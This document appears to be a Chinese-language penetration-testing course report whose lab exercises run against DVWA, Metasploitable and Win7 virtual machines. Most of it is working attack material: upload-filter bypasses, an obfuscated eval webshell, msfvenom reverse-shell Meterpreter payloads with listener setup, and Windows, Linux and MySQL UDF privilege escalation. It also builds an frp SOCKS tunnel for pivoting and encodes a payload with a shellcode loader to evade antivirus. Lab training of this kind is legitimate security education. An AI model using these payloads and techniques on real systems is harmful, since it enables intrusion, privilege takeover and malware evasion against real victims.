1、WAF绕过文件上传实验。
1.利用双写filename=;进行绕过
filename=;filename="info.php",成功上传实现绕过 (证明WAF和Apache的检测规则+解析逻辑不同)
2.利用无用文件头绕过
保留请求数据包原有的格式,在请求体前面添加大量无用数据(注意要和请求头空一行)
3.绕过内容检测
上传的普通一句话木马会被拦截,因此上传免杀一句话木马,将文件命名为bypass.php。
<?php $name = $_GET[1]; $name = substr($name,0); eval("echo 123;" . $name."echo 456; " );?>
同样利用brup修改请求数据包,这里使用filename双写绕过,成功上传
利用免杀一句话木马成功执行命令
4.利用00截断绕过
上传文件,通过burp抓包,在上传文件名后面加**;.jpg**
将**;的十六进制改为00**,则**;消失实现前端认为是.jpg**格式的文件成功上传
后端则读取文件时因为00截断,认为上传的是.php格式的文件
2、网络层面后门分析:课堂上演示了用蚁剑进行攻击并监听流量提取攻击特征,请任选渗透测试基础课程中学习的漏洞进行攻击并监听流量提取攻击特征。
本次实验PHP版本为7.3.4.nts
使用一句话木马上传至DVWA:<?php @eval($_POST[test])?>
1.打开Wireshark,选择VMware net8网卡,进行数据包捕获:
2.使用上传漏洞获取Webshell,并利用蚁剑继续连接,执行命令
上传PHP文件
蚁剑连接
蚁剑连接成功后,点击鼠标右键,选择虚拟终端
3.选取http流量,通过语法过滤进行分析:ip.dst == 192.168.38.138 && http --> 查询目的IP是192.168.38.138并且协议是http的流量包
在蚁剑的虚拟终端输入whoami
在Webshell中选取流量
4.右击数据包,追踪TCP流,即可发现蚁剑执行命令的流量包
3、Windows提权实战,请使用除ms15-051以外的其他的exp进行攻击提权。
环境:win7+kali+phpstudy(dvwa)
攻击思路:
1、拿下webshell
2、MSF制作后门程序
3、通过webshell上传后门程序
4、Kii开启监听
5、运行后门程序
6、拿到meterpreter命令行,进入后渗透阶段
7、结合操作系统级别的漏洞进行攻击实现提权
1.通过文件上传漏洞成功上传一句话木马,使用蚁剑连接
2.MSF制作后门程序
`msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.38.133 lport=5555 -f exe -o 5555.exe``// lhost 需改成kali机器的IP`
将生成的5555.exe放置于物理机中
3.从蚁剑中上传至DVWA中
4.kali开启msf监听端口
msfconsoleuse exploit/multi/handleroptionsset payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.38.133set lport 5555 run
5.Webshell直接执行5555.exe,即可得到meterpreter会话
6.得到一个meterpreter会话之后,getuid发现为admin权限
7.进入渗透阶段
run post/windows/gather/enum_patches
查看补丁信息
run post/multi/recon/local_exploit_suggester
查询哪些提权exp可以用(红色为不可用)
本实验使用ms16-014漏洞
background #将拿下的win7权限会话放在后台
use exploit/windows/local/ms16_014_wmi_recv_notif
输入options查看, 发现需要设置session
sessions -l #查看会话set session 1 #选择会话1(win7的meterpreter)run
8.成功实现提权
4、Linux提权实战:脏牛提权、SUID提权、Polkit提权实验。
1.脏牛提权
环境:Metasploitable-2
# 下载https://sourceforge.net/projects/metasploitable/files/Metasploitable2/# 账号密码msfadmin/msfadmin
(1)提权之前为msfadmin权限
(2)对上传的提权exp,dirty.c使用gcc进行编译(本实验通过xftp上传dirty.c文件)
xftp连接Metasploitable,上传dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
(3)得到编译后的文件dirty,使用进行提权操作
./dirty root #root为自定义的密码
(4)查看/etc/passwd发现多了一个用户firefart
(5)su firefart,输入密码即root,成功提权至root权限
2.SUID提权
所用环境:docker(sagikazarmark/dvwa)`
(1)使用蚁剑连接,并进入虚拟终端
(2)查找具有root权限的SUID的文件
find / -user root -perm -4000 -print 2>/dev/null
发现无find命令,则使用一下命令附加权限(后端添加)
chmod u+s /usr/bin/find
(3)提权前仅是普通用户权限
(4)通过Webshell利用find命令提权至root权限
find / -name test.php -exec "whoami" \;
3.Polkit提权
环境:docker(chenaotian/cve-2021-4034 )
(1)进入chenaotian/cve-2021-4034容器里,找到 /root/exp/CVE-2021-4031/run.sh并运行
docker run -it chenaotian/cve-2021-4034
cd ~/exp/CVE-2021-4034/
./run.sh
(2)目录下生成了一个exp文件后,进入普遍用户
cat /etc/passwdsu test./expwhoami
(3)以普通用户的身份运行exp文件,实现提权至root权限
5、数据库提权:UDF提权实验。
环境:Win7 + phpstudy + DVWA
1.先利用漏洞拿到网站的webshell,权限为普通用户
2.查找数据库账号密码
3.连接数据库
(1)允许数据库远程连接,小皮的数据库管理工具(SQL_Front3.5)中执行命令
grant all privileges on *.* to "root"@"%" identified by "密码";
(2)成功连接数据库(使用Navicat)
(3)新建查询,查询Mysql数据库所在系统位数:64位数
show variables like '%compile%'
(4)查看plugin目录
show variables like '%plugin%';
4.制作提权dll
sqlmap中有编码后的dll文件,路径为:
sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下
python cloak.py -d -i lib_mysqludf_sys.dll_
5.将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录
Mysql默认安装时没有lib\plugin目录,需要新建
6.创建sys_eval函数,提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用函数进行提权:
select sys_eval('whoami');
注意:这里为普通用户是因为站点是由普通用户搭建,所以最高提权也只能到普通用户,想要管理员权限,站点必须由管理员搭建。
1)win7开启管理员用户(密码为:admin)
net user administrator /active:yesnet user administrator admin
2)切换管理员账号后,再次重启mysql调用sys_eval提权,此次显示则是管理员权限
成功提权至administrator权限
6、内网渗透:通过frp实现隧道搭建及利用内网IP访问站点。
环境:centos9、DVWA(已获取Webshell)
工具:FRP、Proxifier
要根据操作系统的类型和位数选择对应的frp工具进行使用
1.进入DVWA,查看ip
docker exec -it <DVWAID> /bin/bash
其中172.17.0.2为内网地址
2.修改配置文件
靶机客户端(frpc.toml)
[common]
server_addr=服务器端外网IP
server_port=7000
[socks5]
type=tcpremote_port=12345
plugin=socks5use_encryption=true
use_compression=true
本实验服务器端外网IP为虚拟机centos9IP地址
3.在反连机(虚拟机centos9)上传frps及其配置文件,在内网服务器(DVWA)上传frpc及其配置文件
通过Xftp8在反连机(虚拟机centos9)上传frps及其配置文件
通过蚁剑在内网服务器(DVWA)上传frpc及其配置文件
4.frp文件上传之后,先分别添加执行权限,然后再做执行操作
chmod u+x 文件名./frps -c frps.toml./frpc -c frpc.toml
先在frps端开启监听
5.隧道搭建完成后,在浏览器中配置隧道代理
6.浏览器成功访问172.17.0.2,实现内网穿透
7、免杀:MSF编码器结合shellcode加载器进行免杀实验。
所用环境:Kali Linux + Windows
1.未经过免杀的处理的木马,并查看查杀率
查杀引擎www.virustotal.com/gui/home/up…
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.38.133 lport=4444 -f exe -o 4444.exe
2.利用MSF和shellcode加载器进行免杀
(1)利用编码器生成jpg文件
-e:指定编码器x64/shikata_ga_nai -i: 指定编码次数
msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=192.168.38.133 lport=5556 -f raw -o crowsec.jpg
(2)再次进行检测,crowsec.jpg查杀到的概率大幅度降低
(3)利用此木马还需要执行文件ms.exe搭配使用,查看ms.exe免杀效果
3.对免杀木马利用
(1)利用msf进行监听
msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcp set lhost 192.168.38.133set lport 5556 run
(2)在win7中将crowsec.jpg和ms.exe放到同一目录,点击ms.exe运行
PS:如果编码器运行不成功,需要 msvcr110.dll 放到 C:\Windows\SysWOW64 下
(3)获取到meterpreter